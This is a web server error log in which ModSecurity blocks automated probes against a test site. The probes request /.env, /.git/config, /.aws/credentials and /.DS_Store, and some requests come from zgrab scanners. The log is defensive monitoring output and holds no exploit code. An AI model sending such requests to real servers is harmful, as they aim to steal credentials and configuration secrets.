Your IP : 216.73.216.189
[Fri Jan 19 09:06:28.851899 2024] [authz_core:error] [pid 466476] [client 46.101.103.192:56348] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Fri Jan 19 09:06:29.726433 2024] [:error] [pid 466478] [client 46.101.103.192:56568] [client 46.101.103.192] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZaothYJItj_GAZSs1hph8gAAAAQ"]
[Fri Jan 19 09:06:29.726674 2024] [:error] [pid 466478] [client 46.101.103.192:56568] [client 46.101.103.192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZaothYJItj_GAZSs1hph8gAAAAQ"]
[Fri Jan 19 09:06:29.726830 2024] [:error] [pid 466478] [client 46.101.103.192:56568] [client 46.101.103.192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZaothYJItj_GAZSs1hph8gAAAAQ"]
[Fri Jan 19 09:06:29.754065 2024] [:error] [pid 466478] [client 46.101.103.192:56572] [client 46.101.103.192] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZaothYJItj_GAZSs1hph8wAAAAQ"]
[Fri Jan 19 09:06:29.754278 2024] [:error] [pid 466478] [client 46.101.103.192:56572] [client 46.101.103.192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZaothYJItj_GAZSs1hph8wAAAAQ"]
[Fri Jan 19 09:06:29.754443 2024] [:error] [pid 466478] [client 46.101.103.192:56572] [client 46.101.103.192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZaothYJItj_GAZSs1hph8wAAAAQ"]
[Fri Jan 19 09:06:29.781054 2024] [:error] [pid 466509] [client 46.101.103.192:56586] [client 46.101.103.192] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZaothaCkdflCNyQwNzRJDgAAAAU"]
[Fri Jan 19 09:06:29.781306 2024] [:error] [pid 466509] [client 46.101.103.192:56586] [client 46.101.103.192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZaothaCkdflCNyQwNzRJDgAAAAU"]
[Fri Jan 19 09:06:29.781476 2024] [:error] [pid 466509] [client 46.101.103.192:56586] [client 46.101.103.192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "ZaothaCkdflCNyQwNzRJDgAAAAU"]
[Sun Jan 21 19:00:21.360763 2024] [:error] [pid 507779] [client 153.127.62.194:38572] [client 153.127.62.194] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Za1btebORCA1jjOgMGzsGQAAAAU"]
[Sun Jan 21 19:00:21.367011 2024] [:error] [pid 507779] [client 153.127.62.194:38572] [client 153.127.62.194] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Za1btebORCA1jjOgMGzsGQAAAAU"]
[Sun Jan 21 19:00:21.367262 2024] [:error] [pid 507779] [client 153.127.62.194:38572] [client 153.127.62.194] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Za1btebORCA1jjOgMGzsGQAAAAU"]
[Tue Jan 23 02:20:18.738810 2024] [:error] [pid 551658] [client 171.67.70.229:49224] [client 171.67.70.229] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "Za8UUiUTmwPKLsP7eXtZagAAAAs"]
[Tue Jan 23 02:20:18.739312 2024] [:error] [pid 551658] [client 171.67.70.229:49224] [client 171.67.70.229] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "Za8UUiUTmwPKLsP7eXtZagAAAAs"]
[Tue Jan 23 02:20:18.739534 2024] [:error] [pid 551658] [client 171.67.70.229:49224] [client 171.67.70.229] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "Za8UUiUTmwPKLsP7eXtZagAAAAs"]
[Tue Jan 23 02:40:59.511003 2024] [:error] [pid 551659] [client 171.67.70.233:36642] [client 171.67.70.233] ModSecurity: Warning. Matched phrase "zgrab" at REQUEST_HEADERS:User-Agent. [file "/usr/share/modsecurity-crs/rules/REQUEST-913-SCANNER-DETECTION.conf"] [line "55"] [id "913100"] [msg "Found User-Agent associated with security scanner"] [data "Matched Data: zgrab found within REQUEST_HEADERS:User-Agent: mozilla/5.0 zgrab/0.x"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-reputation-scanner"] [tag "OWASP_CRS"] [tag "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "Za8ZKxUbY1DFZBG75DIBVwAAAAI"]
[Tue Jan 23 02:40:59.511550 2024] [:error] [pid 551659] [client 171.67.70.233:36642] [client 171.67.70.233] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "Za8ZKxUbY1DFZBG75DIBVwAAAAI"]
[Tue Jan 23 02:40:59.511766 2024] [:error] [pid 551659] [client 171.67.70.233:36642] [client 171.67.70.233] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "Za8ZKxUbY1DFZBG75DIBVwAAAAI"]
[Tue Jan 23 04:20:45.367356 2024] [:error] [pid 554159] [client 104.234.204.32:39120] [client 104.234.204.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Za8wjcXa89KBr1TfBh29pQAAAAU"]
[Tue Jan 23 04:20:45.367724 2024] [:error] [pid 554159] [client 104.234.204.32:39120] [client 104.234.204.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Za8wjcXa89KBr1TfBh29pQAAAAU"]
[Tue Jan 23 04:20:45.367920 2024] [:error] [pid 554159] [client 104.234.204.32:39120] [client 104.234.204.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Za8wjcXa89KBr1TfBh29pQAAAAU"]
[Tue Jan 23 05:52:19.124495 2024] [:error] [pid 554154] [client 193.32.162.180:36576] [client 193.32.162.180] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Za9GAzSIjETq7OweMAkpSwAAAAA"]
[Tue Jan 23 05:52:19.124824 2024] [:error] [pid 554154] [client 193.32.162.180:36576] [client 193.32.162.180] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Za9GAzSIjETq7OweMAkpSwAAAAA"]
[Tue Jan 23 05:52:19.124994 2024] [:error] [pid 554154] [client 193.32.162.180:36576] [client 193.32.162.180] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Za9GAzSIjETq7OweMAkpSwAAAAA"]
[Tue Jan 23 16:50:54.228471 2024] [:error] [pid 579995] [client 104.234.204.32:40810] [client 104.234.204.32] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Za_gXrPT9kqsJTr6hx25dAAAAAY"]
[Tue Jan 23 16:50:54.228930 2024] [:error] [pid 579995] [client 104.234.204.32:40810] [client 104.234.204.32] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Za_gXrPT9kqsJTr6hx25dAAAAAY"]
[Tue Jan 23 16:50:54.229188 2024] [:error] [pid 579995] [client 104.234.204.32:40810] [client 104.234.204.32] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "Za_gXrPT9kqsJTr6hx25dAAAAAY"]
[Tue Jan 23 18:05:00.100621 2024] [:error] [pid 580643] [client 3.89.98.136:51556] [client 3.89.98.136] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Za_xvKW5nRQivCEr4uDJfwAAAAo"]
[Tue Jan 23 18:05:00.101125 2024] [:error] [pid 580643] [client 3.89.98.136:51556] [client 3.89.98.136] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Za_xvKW5nRQivCEr4uDJfwAAAAo"]
[Tue Jan 23 18:05:00.101397 2024] [:error] [pid 580643] [client 3.89.98.136:51556] [client 3.89.98.136] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Za_xvKW5nRQivCEr4uDJfwAAAAo"]
[Tue Jan 23 18:35:02.503784 2024] [:error] [pid 580426] [client 193.32.162.180:39076] [client 193.32.162.180] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Za_4xgJkvkLEO_oWOQUujwAAAAk"]
[Tue Jan 23 18:35:02.504198 2024] [:error] [pid 580426] [client 193.32.162.180:39076] [client 193.32.162.180] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Za_4xgJkvkLEO_oWOQUujwAAAAk"]
[Tue Jan 23 18:35:02.504415 2024] [:error] [pid 580426] [client 193.32.162.180:39076] [client 193.32.162.180] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "Za_4xgJkvkLEO_oWOQUujwAAAAk"]
[Tue Mar 19 19:31:35.696824 2024] [authz_core:error] [pid 1895924] [client 64.226.65.160:42784] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Tue Mar 19 19:31:36.548387 2024] [:error] [pid 1895956] [client 64.226.65.160:42826] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZfnaCC3_gVQc7wz_v0PUSwAAAAo"]
[Tue Mar 19 19:31:36.549020 2024] [:error] [pid 1895956] [client 64.226.65.160:42826] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZfnaCC3_gVQc7wz_v0PUSwAAAAo"]
[Tue Mar 19 19:31:36.549505 2024] [:error] [pid 1895956] [client 64.226.65.160:42826] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "ZfnaCC3_gVQc7wz_v0PUSwAAAAo"]
[Tue Mar 19 19:31:36.590566 2024] [:error] [pid 1895925] [client 64.226.65.160:42834] [client 64.226.65.160] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZfnaCEgbKbwAmXEU9RedWAAAAAY"]
[Tue Mar 19 19:31:36.591077 2024] [:error] [pid 1895925] [client 64.226.65.160:42834] [client 64.226.65.160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZfnaCEgbKbwAmXEU9RedWAAAAAY"]
[Tue Mar 19 19:31:36.591487 2024] [:error] [pid 1895925] [client 64.226.65.160:42834] [client 64.226.65.160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "ZfnaCEgbKbwAmXEU9RedWAAAAAY"]
